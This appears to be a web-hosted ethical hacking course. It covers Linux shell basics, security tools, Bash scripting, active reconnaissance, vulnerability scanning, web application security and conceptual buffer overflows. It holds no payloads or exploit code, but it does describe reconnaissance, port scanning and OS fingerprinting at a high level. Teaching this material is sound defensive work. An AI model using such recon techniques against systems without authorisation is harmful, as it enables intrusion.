6.4 Shell Components & Execution Flow
Understanding how a shell processes commands helps you debug errors, write scripts, and understand exploits such as reverse shells.
⚙️ Core Components of a Shell
- Prompt: Indicates readiness for input
- Command Parser: Breaks command into tokens
- Environment Variables: Store execution context
- Execution Engine: Sends request to kernel
- Job Controller: Handles background processes
🔄 Command Execution Flow
User types command
↓
Shell parses input
↓
Permission check
↓
Kernel executes program
↓
Output returned to shell
↓
Displayed in terminal
🧠 Why This Matters in Security
- ✔ Reverse shells rely on shell execution
- ✔ Exploits often spawn /bin/bash
- ✔ Privilege escalation depends on shell context
6.1 Why The Command Line Matters
While graphical interfaces are easy to use, the terminal is faster, more precise, and essential in cybersecurity roles. Many tools run ONLY in the terminal.
✨ Advantages of Using the Terminal
- ⚡ Lightning-fast navigation and operations
- 📦 Tools and scripts run directly from CLI
- 🔍 Easier to automate tasks
- 📁 More control over files and permissions
- 📡 Most cybersecurity tools are CLI-based
CLI gives deeper access!
🖥️ Real-World Use Case
- ✔ Managing logs during incident response
- ✔ Checking system configurations
- ✔ Running automated scanning scripts
- ✔ Analyzing network activity
6.2 Understanding the Terminal Interface
Before mastering commands, you need to understand how the terminal works.
🔍 Terminal Components
- Prompt: Shows your user, device, and current directory
- Shell: Software that interprets your commands (usually Bash or Zsh)
- Cursor: Where input appears
- Output: Result of your command
📘 Example Terminal Prompt (Explained)
┌──(kali㉿kali)-[~/Documents]
└─$
| Part | Meaning |
|---|---|
| kali | Username |
| kali | Hostname (system name) |
| ~/Documents | Current working directory |
| $ | Normal user prompt (root uses #) |
6.3 Basic Navigation Commands
Navigation is the foundation of Linux. Here we explain the most important commands in a SAFE, clear, beginner-friendly way.
🧭 Core Navigation Concepts
- Current Directory: Where you currently are
- Parent Directory: One level above
- Absolute Path: Full path starting with /
- Relative Path: Path based on current location
🏡 Common Directories Explained
| Directory | Meaning |
|---|---|
| /etc | System configuration |
| /usr/share | Locations of installed tools |
| /home | User folders |
| /var/log | Log files |
| /root | Root user home directory |
📦 Visual Directory Structure
/
├── etc
├── home
│ └── user
├── usr
│ └── share
└── var
└── log
6.4 File & Directory Management
Managing files is essential for organizing security notes, log files, scripts, and reports.
📁 File Operations (Conceptual)
- 📄 Create files (e.g., notes, reports)
- ✏️ Edit files (configs, scripts)
- 🗑️ Delete unnecessary files
- 📦 Move & organize
📁 Directory Operations (Conceptual)
- 📁 Create new folders
- 🔁 Move folders
- 🗂️ Organize your workspace
6.5 Permissions Basics
Linux permissions control who can read, write, or execute files.
🔐 File Permission Types
| Symbol | Meaning |
|---|---|
| r | Read |
| w | Write |
| x | Execute |
👤 Who Gets Permissions?
| Category | Description |
|---|---|
| User | Owner of the file |
| Group | Members of the assigned group |
| Others | All other system users |
6.6 Understanding User & Group Management
Ethical testers often create test users, manage permissions, and understand how Linux authenticates access.
👤 Key Concepts
- User: Individual account
- Group: A collection of users
- UID/GID: Identification numbers
- /etc/passwd → User database
- /etc/group → Group database
📘 Example (Conceptual Data Structure)
Username : Password Placeholder : UID : GID : Home Directory : Default Shell
Module 07 – Practical Tools (Your Cybersecurity Toolkit)
Every penetration tester and cybersecurity student must know the most important tools used during assessments.
This module provides a complete, safe, beginner-friendly explanation of the most widely used tools in Linux
and Kali — covering their purpose, safe usage, output interpretation, and real-world relevance.
No harmful actions are performed. This module focuses strictly on learning, awareness, analysis, and reporting.
7.1 Understanding Practical Tools for Cybersecurity
Practical tools help ethical testers discover system details, check configurations, analyze network behavior, understand vulnerabilities, test scripts, and create reports.
🎯 Why Tools Matter
- 🧭 Tools help automate complex tasks
- 🔍 Provide deeper system visibility
- ⚙️ Useful for analyzing configurations
- 📊 Generate data for reports
- 🛡️ Help identify misconfigurations safely
🧰 Tools Classification (Simple Overview)
| Category | Purpose | Examples |
|---|---|---|
| Info Gathering Tools | Collect data about systems | Nmap, Whois, Dig |
| Network Monitoring Tools | Observe live traffic | Wireshark |
| Web Analysis Tools | Inspect web technologies | WhatWeb, Wappalyzer |
| File Analysis Tools | Inspect or manage files | Strings, ExifTool |
| Scripting & Automation Tools | Automate repetitive tasks | Bash, Python |
7.2 System Information Tools
System information tools allow you to understand the machine you're analyzing. They help during documentation, OS fingerprinting, troubleshooting, and audit preparation.
🔧 Tools Overview (Conceptual)
- uname: View system kernel & OS info
- hostnamectl: View hostname + OS release info
- lsb_release: Distribution details
🖥️ System Info Table
| Tool | What It Shows | Why It's Useful |
|---|---|---|
| uname | Kernel name, version, processor | Helpful in OS fingerprinting |
| hostnamectl | Device name, OS version | Useful for reporting and documentation |
| lsb_release | Linux distro details | Determines environment before testing |
7.3 Network Analysis Tools
Network analysis tools help testers understand connectivity, routing, and network behavior without performing harmful actions.
📡 Key Tools (Safe Functions Only)
- ping: Check if a system is reachable
- traceroute: See the path packets travel
- netstat: View active connections
- ip: View network interfaces
- ifconfig: View interface details
🧭 When These Tools Matter
- ✔ Diagnosing network outages
- ✔ Checking if a system is online
- ✔ Understanding gateway routing
- ✔ Documenting active interfaces
7.4 Web Information Tools
Web analysis tools give insights into what technologies a website uses. This is helpful for ethical research and reporting.
🌐 Common Web Info Tools (Safe Use)
- WhatWeb: Identifies technologies used by a site
- Wappalyzer: Browser extension showing frameworks
- curl / wget: Fetch web content
📄 Report View Example
Website: example.com
Technologies Detected:
- Nginx
- PHP 7.x
- Bootstrap
- Google Analytics
7.5 Logging & File Analysis Tools
These tools help testers read system logs, extract metadata, and perform safe file investigation.
📄 Key File Analysis Tools
- cat: View file content
- less: Scroll large files
- grep: Search for patterns
- strings: Extract readable text
- exiftool: Read metadata (photos, documents)
🗂️ Why File Analysis Matters
- ✔ Check system logs during investigations
- ✔ Extract metadata for audits
- ✔ Understand application behavior
7.6 Scripting Helpers & Automation Tools
Automation is essential in security. These tools help you write scripts, automate workflow, analyze data, and manage tasks safely.
🛠️ Tools for Automation
- Bash: Linux scripting for automation
- Python: Widely used in cybersecurity for tools
- Crontab: Automates scheduled tasks
- jq: Parses JSON data
📘 Why Learn Scripting?
- ✔ Automate reporting tasks
- ✔ Process large data easily
- ✔ Customize your own tools
Module 08 – Bash Scripting (Automate Your Cybersecurity Tasks)
Bash scripting is one of the most powerful skills a cybersecurity professional can learn. It allows you to automate tasks, process data, extract logs, run workflows, and simplify repetitive operations. This module explains Bash from absolute basics to advanced concepts — all in a safe, ethical, beginner-friendly style.
8.1 What is Bash Scripting?
Bash (Bourne Again Shell) is the default command-line shell in most Linux distributions, including Kali Linux. Bash scripting means writing a sequence of commands inside a file to make the system perform tasks automatically.
✨ Why Learn Bash?
- ⚡ Automate repetitive tasks
- 📁 Process files, logs, and output easily
- 🔁 Create loops for repeated actions
- 🧪 Useful in cybersecurity labs and real-world audits
- 🔧 Required for automation in DevOps & Cloud
🧠 Bash Use Cases in Cybersecurity (Safe Examples)
- ✔ Automating log collection
- ✔ Sorting & filtering system information
- ✔ Preparing documentation
- ✔ Automating report formatting
8.2 Basic Structure of a Bash Script
A Bash script has a clear structure. Once you understand this structure, you can automate anything safely.
📌 Script Anatomy
| Part | Description | Example |
|---|---|---|
| Shebang | Tell the system which interpreter to use | #!/bin/bash |
| Comments | Explain script sections | # This script prints system info |
| Commands | Main logic of your script | echo "Hello World" |
📝 Visual Representation
#!/bin/bash
# This is a sample script
echo "Starting the script..."
echo "Task completed!"
.sh extension for clarity.
8.3 Variables in Bash
Variables store values that you can reuse in your script — like notes, counters, filenames, or settings.
🔧 Types of Variables
- User-defined variables: Created by you
- Environment variables: Set by the system
📦 Example (Conceptual Only)
username="student"
echo "Welcome $username!"
🌍 Useful Environment Variables
| Variable | Meaning |
|---|---|
| $HOME | User home directory |
| $USER | Current logged-in user |
| $PATH | Locations system checks for commands |
8.4 Input, Output & Comments
Bash scripts interact with users and files using input/output statements. Comments make scripts cleaner and easier to understand.
🗣️ Output Examples
echo "This is output text"
⌨️ Input Examples (Safe)
read username
echo "You entered: $username"
💬 Comments
# Comments help future you understand the script!
8.5 Conditional Statements (IF-ELSE)
Conditional logic lets your script make decisions — like checking if a file exists or comparing values.
🎯 Simple Condition Example
if [ condition ]
then
# task 1
else
# task 2
fi
🧠 Real Use Cases (Safe)
- ✔ Check if a log file exists
- ✔ Verify if a directory is writable
- ✔ Compare values in automation scripts
8.6 Loops
Loops repeat tasks automatically — helpful for processing lists, files, and repetitive operations.
🔁 Types of Loops
| Loop Type | Used For |
|---|---|
| for | Iterating through lists |
| while | Run until condition is false |
| until | Run until condition becomes true |
💡 Safe Example Concept
for item in A B C
do
echo "Item: $item"
done
8.7 Functions in Bash
Functions allow you to group related commands into reusable blocks — improving organization and readability.
🧩 Basic Function Structure
myFunction() {
echo "Inside function"
}
🎯 Why Use Functions?
- ✔ Prevent duplicate code
- ✔ Improve script readability
- ✔ Maintain clarity in long scripts
8.8 Error Handling in Scripts
Error handling makes scripts safe, predictable, and stable — crucial in cybersecurity environments.
🚧 Common Error-Handling Concepts
- ✔ Check if files/directories exist
- ✔ Validate user input
- ✔ Detect unsuccessful operations
Module 10 – Active Information Gathering
Active Information Gathering is the stage where a security professional interacts directly with a target system during an authorized and legal penetration test. Unlike passive recon (where no interaction occurs), active recon involves sending controlled requests to identify systems, services, technologies, and potential points of interest.
10.1 What is Active Reconnaissance?
Active reconnaissance refers to techniques where the tester interacts directly with systems or networks to gather technical information such as operating systems, running services, open ports, and network architecture.
✨ Key Goals of Active Recon
- ✔ Identify reachable hosts
- ✔ Detect open ports and exposed services
- ✔ Determine OS & service versions
- ✔ Understand network firewall behavior
- ✔ Map network architecture
10.2 Host Identification Techniques
Host identification determines which systems are alive, reachable, and responding on a network. These techniques help map the attack surface during a permitted assessment.
🔍 Key Concepts
- ✔ Checking if a system responds to basic network requests
- ✔ Identifying firewalls filtering certain types of traffic
- ✔ Understanding network segmentation
- ✔ Determining allowed ICMP or TCP responses
📘 Methods of Host Identification
| Technique | Description (Safe) | Purpose |
|---|---|---|
| ICMP Ping Requests | Send ICMP echo requests to see if hosts respond. | Check reachability & network filtering rules. |
| ARP Resolution | Detect devices in the same broadcast domain. | Identify LAN hosts. |
| TCP SYN Probes | Check if a host responds on specific TCP ports. | Identify active systems behind noisy firewalls. |
| UDP Probing | Send UDP packets to detect host activity. | Identify services that respond via UDP. |
10.3 Port Scanning – Understanding the Purpose
Port scanning helps identify which network ports are open, closed, or filtered. This reveals active services and potential entry points (for defensive analysis).
🔌 Why Port Scanning is Important
- ✔ Determines exposed services
- ✔ Helps detect firewall filtering rules
- ✔ Reveals unnecessary or legacy services
- ✔ Provides visibility into network hygiene
📚 Typical Port States (Explained)
- Open: Service is actively listening
- Closed: No service listening, but host responds
- Filtered: Firewall or IDS blocks the request
- Unfiltered: Response received but state is unclear
- Open|Filtered: No proper response, cannot confirm
10.4 Service Enumeration (Safe & Conceptual)
After identifying which ports are open, the next step is enumeration — discovering details about the services running on those ports. Enumeration helps create a detailed service profile of the authorized target system.
🔧 Types of Enumeration
| Enumeration Type | Description (Safe) | Information Gained |
|---|---|---|
| Service Banner Identification | Observing server-provided public banners | Software version, OS hints |
| Protocol Handshake Analysis | Understanding protocol structure through legal interaction | Supported authentication methods |
| SSL/TLS Certificate Review | Analyzing certificate transparency information | Issuer, expiration, algorithms |
| Directory Listing Observations | Viewing publicly exposed directories (legal & allowed) | Public folder names |
10.5 Identifying Network Security Controls
Active information gathering includes understanding how security systems (firewalls, IDS, IPS) respond to different types of network interactions. This helps organizations evaluate the strength of their defenses.
🛡️ Network Security Behaviors Observed
- ✔ Dropped packets (silent filtering)
- ✔ Reset responses (active blocking)
- ✔ Rate limiting behavior
- ✔ IPS alert patterns
- ✔ Port knocking / adaptive filtering
🧱 How This Helps Defenders
- ✔ Identifies misconfigured firewalls
- ✔ Detects overly permissive rules
- ✔ Helps update IDS signatures
- ✔ Reveals exposed unnecessary services
10.6 Understanding OS Fingerprinting (High-Level & Safe)
OS fingerprinting is the process of determining the operating system running on a host by analyzing its network responses. This is performed only during authorized security assessments and helps defenders understand exposure.
📘 Two Types of OS Fingerprinting
- Passive Fingerprinting: Observing responses without interaction (safe & silent)
- Active Fingerprinting: Sending controlled packets to study responses
🧪 What Active Fingerprinting Reveals
- ✔ TCP/IP stack behavior
- ✔ Window size & initial sequence patterns
- ✔ TCP options & flags
- ✔ Differences between OS fingerprint signatures
10.7 Enumerating Common Services (Conceptual)
After discovering open ports, analysts investigate the behavior of common network services to gain high-level insights.
🌐 Services Commonly Enumerated
| Service | Port | What Enumeration Reveals (Safe Info) |
|---|---|---|
| HTTP / HTTPS | 80 / 443 | Public headers, server type, SSL cert details |
| FTP | 21 | Public banner responses |
| SSH | 22 | Algorithm support, banner info |
| SMTP | 25 | Public mail server capabilities |
| DNS | 53 | Public DNS records served by the system |
10.8 Ethical Guidelines for Active Information Gathering
Since active gathering impacts systems directly, it must follow strict ethical and legal guidelines.
❌ Forbidden Actions
- ✖ Unauthorized scanning
- ✖ Brute forcing or guessing credentials
- ✖ Exploiting vulnerabilities
- ✖ Intercepting private communications
- ✖ Tampering with systems or configurations
✔ Allowed (With Written Permission)
- ✔ High-level port mapping
- ✔ Public banner observation
- ✔ Network response analysis
- ✔ OS fingerprint study
- ✔ Firewall behavior evaluation
Module 11 – Vulnerability Scanning
Vulnerability scanning is the process of identifying security weaknesses in systems, networks, applications, and configurations during an authorized penetration test. It is a non-intrusive, safe, and diagnostic technique used to discover missing patches, outdated software, insecure configurations, and publicly known vulnerabilities.
11.1 What is Vulnerability Scanning?
Vulnerability scanning is a security assessment method that analyzes systems for known weaknesses. It identifies issues such as outdated software, weak configurations, missing security patches, unsafe services, and protocol vulnerabilities.
🎯 Purpose of Vulnerability Scanning
- ✔ Identify known security flaws
- ✔ Evaluate system hygiene & patch compliance
- ✔ Detect misconfigurations & risky settings
- ✔ Provide actionable insights for improvement
- ✔ Reduce attack surface through early detection
11.2 Types of Vulnerabilities
During scanning, vulnerabilities are categorized into different types depending on their nature, cause, and potential impact.
📌 Common Vulnerability Categories
| Category | Description (Safe) | Examples (Non-sensitive) |
|---|---|---|
| Missing Patches | Systems running outdated software versions | Old OS builds, unpatched libraries |
| Configuration Weaknesses | Unsafe system or service configuration | Weak SSL settings, outdated cipher suites |
| Unnecessary Services | Services running without business need | Publicly exposed debug ports |
| Authentication Issues | Weak access controls | No MFA, default usernames |
| Web Application Risks | Incorrect validation, insecure components | Old JS libraries, missing security headers |
| Network Exposure | Open ports increasing attack surface | Unrestricted public access |
11.3 Vulnerability Databases (CVE, CVSS, NVD)
Vulnerability scanners rely on global security databases to detect known issues. These databases maintain identifiers, severity ratings, and technical descriptions.
📚 Core Databases Explained
- CVE (Common Vulnerabilities and Exposures): Unique identifiers for publicly known vulnerabilities.
- CVSS (Common Vulnerability Scoring System): Standard scoring method for severity (0.0–10.0).
- NVD (National Vulnerability Database): Maintains detailed analysis, metadata, and severity ratings.
11.4 Safe & Ethical Scanning Concepts
During authorized penetration tests, vulnerability scanning must be performed safely to ensure systems are not overloaded or impacted.
✔ Safe Scanning Practices
- ✔ Use non-intrusive scan settings
- ✔ Schedule scans during approved windows
- ✔ Avoid aggressive request patterns
- ✔ Monitor system load during scans
- ✔ Obtain written approval (ROE)
❌ Scanning Practices That Are Not Allowed
- ✖ Triggering brute force attempts
- ✖ Exploiting vulnerabilities
- ✖ Attempting privilege escalation
- ✖ Sending malformed or destructive payloads
11.5 Understanding Vulnerability Severity
Severity ratings help prioritize remediation based on impact and ease of exploitation.
📊 CVSS Severity Breakdown
| Score Range | Severity Level |
|---|---|
| 0.0 | None |
| 0.1 – 3.9 | Low |
| 4.0 – 6.9 | Medium |
| 7.0 – 8.9 | High |
| 9.0 – 10.0 | Critical |
11.6 How Vulnerability Scanners Work (High-Level)
Vulnerability scanners analyze systems safely using fingerprinting, configuration review, version matching, and metadata comparison.
🔍 Internal Workflow (Safe Overview)
- System discovery
- Service detection
- Version identification
- Configuration inspection
- CVE database matching
- Risk scoring
- Report generation
11.7 Network vs Web vs System Vulnerability Scanning
Different environments require different scanning approaches.
🌐 Comparison Table
| Scan Type | Scope | Finds |
|---|---|---|
| Network Scan | Servers, ports, network services | Open ports, insecure protocols, outdated services |
| Web Application Scan | Websites, APIs, server responses | Missing headers, outdated components, insecure cookies |
| System Scan | OS, configurations, installed software | Missing patches, weak settings, deprecated versions |
11.8 False Positives & False Negatives
Vulnerability scanners may occasionally produce incorrect results.
⚠️ False Positives
A vulnerability is flagged even though it does not exist. These occur due to generic fingerprinting or version misinterpretation.
⚠️ False Negatives
A vulnerability exists but is not detected. These occur due to missing signatures, unusual configurations, or vendor delays.
11.9 Reporting & Risk Prioritization
After scanning, results must be prioritized to help organizations fix issues efficiently.
📊 Risk Prioritization Factors
- ✔ Severity (CVSS score)
- ✔ Business impact
- ✔ Asset criticality
- ✔ Exploitability
- ✔ Exposure (internal/public)
- ✔ Patch availability
11.10 Vulnerability Management Lifecycle
Vulnerability scanning is only one stage of a larger vulnerability management lifecycle.
♻️ Lifecycle Stages
- Asset discovery
- Vulnerability scanning
- Risk evaluation
- Prioritization
- Remediation / mitigation
- Verification
- Continuous monitoring
Module 12 – Web Application Attacks
Web applications are one of the most common targets during penetration testing. This module explains how web applications work, the attack surfaces they expose, and the safest, ethical, and legal way to analyze them during authorized penetration tests.
12.1 Introduction to Web Application Security
Web applications allow users to interact with online services such as banking sites, shopping platforms, email portals, and dashboards. Because they are publicly accessible and handle sensitive data, they are a major focus of authorized penetration testing.
🎯 Why Web Apps Are High-Value Targets
- ✔ Web apps are accessible from anywhere in the world
- ✔ They store sensitive data (login details, personal data, financial info)
- ✔ They often rely on multiple components (databases, APIs, authentication servers)
- ✔ Complex logic increases chances of misconfigurations
📌 Common Attack Surfaces
- ✔ Input fields (login forms, search bars)
- ✔ File upload sections
- ✔ API endpoints
- ✔ Cookies & sessions
- ✔ URLs & query parameters
- ✔ Authentication modules
- ✔ Configurations & HTTP headers
12.2 Understanding HTTP, Headers, Cookies & Sessions
Web communication relies on the HTTP protocol, which is the backbone of how browsers and servers exchange data. Understanding this is crucial for analyzing web security.
🌐 HTTP Basics
HTTP is a stateless protocol, meaning each request is independent — it does not remember past interactions.
📌 Key HTTP Request Components
| Component | Purpose | Examples (Safe) |
|---|---|---|
| Method | Defines type of action | GET, POST, PUT, DELETE |
| URL | Resource being accessed | /login, /products?id=1 |
| Headers | Metadata about request | User-Agent, Cookie, Referer |
| Body | Data sent to server | Form data, JSON payload |
🍪 Cookies
Cookies store user-specific data in the browser such as:
- Session IDs
- Preferences
- Temporary state information
🔒 Secure Cookie Flags
- ✔ HttpOnly – prevents access via scripts
- ✔ Secure – only sent via HTTPS
- ✔ SameSite – protects against CSRF
🧩 Sessions
Sessions maintain user state on the server, identified by a session token stored in a cookie.
12.3 Authentication & Authorization Concepts
Authentication verifies user identity, while authorization determines what an authenticated user is allowed to access.
🔑 Authentication Types
- ✔ Password-based authentication
- ✔ Multi-Factor Authentication (MFA)
- ✔ Token-based authentication (JWT)
- ✔ OAuth / SSO
🛡️ Authorization Models
- ✔ RBAC (Role-Based Access Control)
- ✔ ABAC (Attribute-Based Access Control)
- ✔ MAC (Mandatory Access Control)
12.4 Input Validation & Sanitization
All user input must be treated as untrusted. Poor input validation leads to many vulnerabilities including XSS, SQLi, and CSRF.
✔ Why Input Validation Is Critical
- ✔ Prevents malicious data entry
- ✔ Protects backend systems
- ✔ Stops injection vulnerabilities
- ✔ Reduces unexpected application behavior
📌 Types of Validation
- Client-side validation – enhances user experience
- Server-side validation – actual security control
- Whitelist validation – most secure approach
12.5 Cross-Site Scripting (XSS)
XSS occurs when untrusted user input is displayed on a webpage without proper sanitization. This allows attackers (in unauthorized contexts) to inject unintended scripts. In authorized penetration testing, you only identify whether unsafe behavior exists — no exploitation is performed.
📌 Types of XSS
| Type | Description (Safe) |
|---|---|
| Reflected XSS | Unsafe input is immediately returned in the response |
| Stored XSS | Unsafe input is stored (e.g., database) and displayed later |
| DOM-Based XSS | Occurs due to insecure client-side JavaScript |
🛡️ Preventing XSS
- ✔ Output encoding
- ✔ Input sanitization
- ✔ Using security headers (CSP)
- ✔ Avoiding unsafe DOM manipulation
Module 13 – Introduction to Buffer Overflows
Buffer overflows are one of the most historically important and widely studied software vulnerabilities.
They occur when a program attempts to write more data into a memory buffer than it is designed to hold.
This module explains the concept safely and conceptually — focusing on memory behavior,
programming mistakes, and secure coding principles.
⚠️ This module teaches the theory ONLY.
No exploitation, payloads, or harmful steps are provided.
Buffer overflow research must be performed only in controlled, isolated lab environments and strictly for educational or authorized security testing. Real-world systems must never be tested without permission.
13.1 What is a Buffer Overflow?
A buffer is a temporary data storage area in memory (like an array or character string). A buffer overflow happens when a program writes more data into this buffer than it can safely store.
🧩 Simple Analogy
📌 Key Characteristics
- ✔ Happens due to poor input validation
- ✔ Data goes beyond intended memory boundaries
- ✔ May overwrite important memory regions
- ✔ Can cause program crashes or unexpected behavior
- ✔ Historically led to major security incidents
❗ Consequences (Safe Explanation)
- ⚠ Program crash (segmentation fault)
- ⚠ Corruption of important data structures
- ⚠ Unexpected program behavior or logic errors
13.2 Understanding Memory Layout
To understand buffer overflows, it is crucial to know how a program arranges data in memory. This arrangement is known as the process memory layout or memory model.
💾 Typical Process Memory Layout
| Memory Region | Description | Contents (Safe) |
|---|---|---|
| Text Segment | Read-only program instructions | Executable code |
| Data Segment | Static/global variables | Initialized variables |
| BSS Segment | Uninitialized globals | Zero-initialized data |
| Heap | Dynamically allocated memory | malloc/new allocations |
| Stack | Function calls and variables | Local variables, return addresses |
📘 Why Memory Layout Matters
- ✔ Overflows occur inside stack or heap buffers
- ✔ Overwriting adjacent memory causes unpredictable behavior
- ✔ Understanding layout helps secure code against corruption
13.3 Stack vs Heap Concepts
Buffers can live in two major memory regions: the stack and the heap. Each region has unique behaviors, risks, and overflow characteristics.
📌 Comparison Table
| Feature | Stack | Heap |
|---|---|---|
| Memory Allocation | Automatic | Manual (malloc/new) |
| Typical Use | Local variables, function calls | Dynamic objects, large data |
| Overflow Risk | Local buffer overflows | Heap metadata corruption |
| Speed | Very fast | Slower |
| Size Limit | Smaller | Larger |
🧠 Key Concepts
- ✔ Stack is structured and grows downward
- ✔ Heap is flexible and grows upward
- ✔ Both regions can experience unsafe overflows
13.4 Why Overflows Occur
Buffer overflows typically occur due to programmer mistakes, unsafe functions, or incorrect assumptions about input size. They are rarely intentional — usually the result of legacy coding practices or insufficient validation.
⚠️ Common Causes
- ❗ Not validating input length
- ❗ Unsafe string handling functions
- ❗ Incorrect array indexing
- ❗ Mixing data types (size mismatches)
- ❗ Off-by-one errors
- ❗ Legacy C/C++ code lacking bounds checks
📘 Real-World Safe Explanation Example
If someone enters 200 characters, the extra data may overflow into adjacent variables. This can corrupt memory or crash the application.
✔ Impact (Non-Harmful Explanation)
- ✔ Application crashes
- ✔ Corrupted runtime state
- ✔ Unexpected or unstable behavior
13.5 Defenses Against Overflows
Modern systems include multiple layers of protection to prevent buffer overflows from causing harm. Developers and security testers should understand these defenses to build and evaluate secure applications.
🛡️ Key Defense Mechanisms
| Defense | Description (Safe) |
|---|---|
| Stack Canaries | Special values placed on stack to detect overflows past a boundary |
| ASLR (Address Space Layout Randomization) | Randomizes memory layout to prevent predictable addressing |
| DEP / NX-bit | Marks memory regions as non-executable |
| Safe Library Functions | Modern APIs enforce bounds checking |
| Compiler Security Flags | Compilers offer protections like stack protector mode |
| Input Validation & Sanitization | Ensures data fits within allowed ranges |
✔ Developer Best Practices
- ✔ Always validate input sizes
- ✔ Use safe string-handling libraries
- ✔ Enable compiler protections
- ✔ Perform regular code reviews
- ✔ Avoid legacy unsafe functions
Module 14 – Windows Buffer Overflows (Conceptual & Safe)
Windows buffer overflows are an important part of vulnerability research because Windows programs rely heavily on structured memory regions, exception handling, and compiler-level protections. This module explains how Windows memory works, how overflows were historically discovered, and the modern defenses that protect Windows applications today — **purely conceptually and safely**.
14.1 Understanding Windows Memory Architecture
Windows applications run inside a structured process memory space managed by the Windows kernel. Understanding this layout helps explain why overflows impact certain regions more than others.
🧠 Key Windows Memory Regions
| Region | Description | Typical Contents |
|---|---|---|
| Text Section (.text) | Executable program code | Program instructions |
| Data + BSS | Global & static variables | Initialized & uninitialized data |
| Heap | Dynamic memory allocated at runtime | Objects, buffers, arrays |
| Stack | Function frames, local variables, return pointers | Local buffers, saved registers |
| PEB / TEB | Process & thread information blocks | Thread-local storage, exception data |
14.2 Calling Conventions & Stack Frames (Safe Concepts)
Windows programs rely on “calling conventions” — rules that define how functions pass parameters and return values. This affects how stack frames are created and destroyed.
📌 Common Windows Calling Conventions
- ✔ stdcall – Windows API default
- ✔ cdecl – C programs
- ✔ fastcall – Parameters passed through registers
🧱 Stack Frame Structure (Simplified)
• Function arguments • Return address • Saved base pointer (EBP/RBP) • Local variables • Buffers (arrays, character buffers)
If a buffer exceeds its limit, it may overwrite nearby data inside the same stack frame — this is the general idea of a buffer overflow.
14.3 Windows Structured Exception Handling (SEH) – Concept Only
Windows uses Structured Exception Handling (SEH) to manage runtime errors such as access violations. It plays a major role in understanding historical overflow research.
📌 What is SEH?
- ✔ A system for handling crashes safely
- ✔ Stores handler pointers in structured lists
- ✔ Helps Windows recover from invalid memory operations
🧩 Why SEH Matters
Overflowing certain buffers historically impacted SEH structures, causing unexpected program flow. Modern Windows versions include strong protections that prevent unsafe modification.
14.4 Why Windows Buffer Overflows Occur (Safe Explanation)
Like all platforms, Windows applications may experience overflows when input is not checked properly. This is a coding issue, not a Windows flaw.
⚠️ Common Causes (Conceptual Only)
- ❗ Missing input length checks
- ❗ Using legacy unsafe functions
- ❗ Incorrect buffer allocations
- ❗ Misunderstanding string termination
- ❗ Off-by-one indexing mistakes
- ❗ Large input copied into small local buffers
📘 Real-World Safe Example
This may cause the application to:
- ⚠️ crash (access violation)
- ⚠️ behave unpredictably
- ⚠️ corrupt program state
14.5 Modern Windows Overflow Protections
Modern Windows systems use multiple layers of protection to prevent buffer overflows from causing meaningful impact. These protections make exploitation extremely difficult and often impossible.
🛡️ Key Defense Technologies
| Protection | Description (Safe) |
|---|---|
| ASLR (Address Space Layout Randomization) | Randomizes location of memory regions to prevent predictable addressing |
| DEP / NX-bit | Prevents execution of code in certain memory sections |
| SafeSEH | Validates exception handlers to prevent corruption |
| SEHOP | Blocks unsafe manipulation of exception handler chains |
| Stack Cookies / Canaries | Detect overflows before returning from functions |
| Control Flow Guard (CFG) | Ensures program flow only goes to safe destinations |
| Code Signing Enforcement | Blocks untrusted or unsigned binaries |
✔ Developer Best Practices
- ✔ Use safe string-handling libraries
- ✔ Validate input lengths rigorously
- ✔ Compile with security flags enabled (/GS, /DYNAMICBASE)
- ✔ Perform regular code audits
- ✔ Avoid deprecated C APIs
Module 15 – Linux Buffer Overflows (Conceptual, Ultra-Detailed & Safe)
Linux buffer overflows involve understanding how memory is structured in Linux programs, how binary execution works, and how compiler-level protections prevent unsafe memory behavior. This module covers the theory, memory structures, and defensive concepts behind Linux overflows — without any exploitative content.
This module teaches how overflows work conceptually, NOT how to exploit systems. All content is safe, ethical, and educational.
15.1 What Makes Linux Memory Different?
Linux uses the ELF (Executable and Linkable Format) for binaries. Understanding ELF layout is crucial to understanding buffer overflows.
📦 Linux ELF Memory Regions (High-Level)
| Region | Description | Typical Contents |
|---|---|---|
| .text | Read-only executable code | Main program instructions |
| .data | Initialized global variables | Integers, strings, arrays |
| .bss | Uninitialized global variables | Buffers, counters |
| Heap | Grows upward dynamically during runtime | malloc(), new objects |
| Stack | Grows downward, stores function frames | Local variables, return address |
15.2 How Function Stack Frames Work (Safe, High-Level)
Buffer overflows affect stack frames, so understanding them is essential. This section explains the conceptual structure of stack frames.
🧱 Linux Stack Frame Layout
• Arguments passed to the function
• Return address (tells CPU where to go next)
• Old base pointer (saved RBP/EBP)
• Local variables (ints, chars, buffers)
Linux applications allocate local buffers on the stack. If input is larger than the buffer can hold, surrounding memory may be overwritten.
⚠️ Causes of Stack Overflow (Conceptual)
- ❗ Not checking input lengths
- ❗ Using unsafe legacy functions
- ❗ Overly large user input copied to fixed-size buffers
- ❗ Incorrect assumptions about data format
15.3 Stack-Based vs Heap-Based Overflows
Linux applications may experience memory corruption in either the stack or the heap. Both areas behave differently and require distinct protection mechanisms.
📌 Comparison Table
| Overflow Type | Where It Occurs | Cause (Safe) | Impact (Non-Exploit) |
|---|---|---|---|
| Stack Overflow | Local variables inside a function | Oversized input into stack buffer | Program crash, segmentation fault |
| Heap Overflow | malloc() or new allocated memory | Out-of-bound writes to heap memory | Memory corruption, unpredictable behavior |
15.4 Why Linux Buffer Overflows Happen (Safe Explanation)
Buffer overflows are coding bugs, not operating system flaws. They occur when input is not validated properly.
❌ Common Causes (Safe)
- ❗ Misuse of C/C++ string-handling functions
- ❗ Developers assuming input is smaller than it is
- ❗ Off-by-one indexing errors
- ❗ Forgetting null terminators
- ❗ Mixing signed & unsigned integer types
15.5 Linux Protections Against Buffer Overflows
Modern Linux distributions include strong safety features that drastically reduce the impact of memory corruption bugs.
🛡️ Core Linux Defenses
| Protection | Description (Safe) |
|---|---|
| ASLR (Address Space Layout Randomization) | Randomizes memory locations to prevent predictable addressing |
| Stack Canaries | Detect stack corruption before returning execution |
| DEP / NX-bit | Prevents execution in writable memory regions |
| PIE (Position Independent Executables) | Allows relocation of binary code to random addresses |
| Fortified Functions (GLIBC _FORTIFY_SOURCE) | Adds input length checks to unsafe functions |
| Seccomp | Restricts system calls for safer sandboxing |
| AppArmor / SELinux | Prevents unauthorized system access even if process is compromised |
✔ Developer Best Practices
- ✔ Use safe C functions (snprintf, strnlen, memcpy_s)
- ✔ Always validate input sizes
- ✔ Enable compiler flags (-fstack-protector, -D_FORTIFY_SOURCE=2)
- ✔ Run static analysis tools
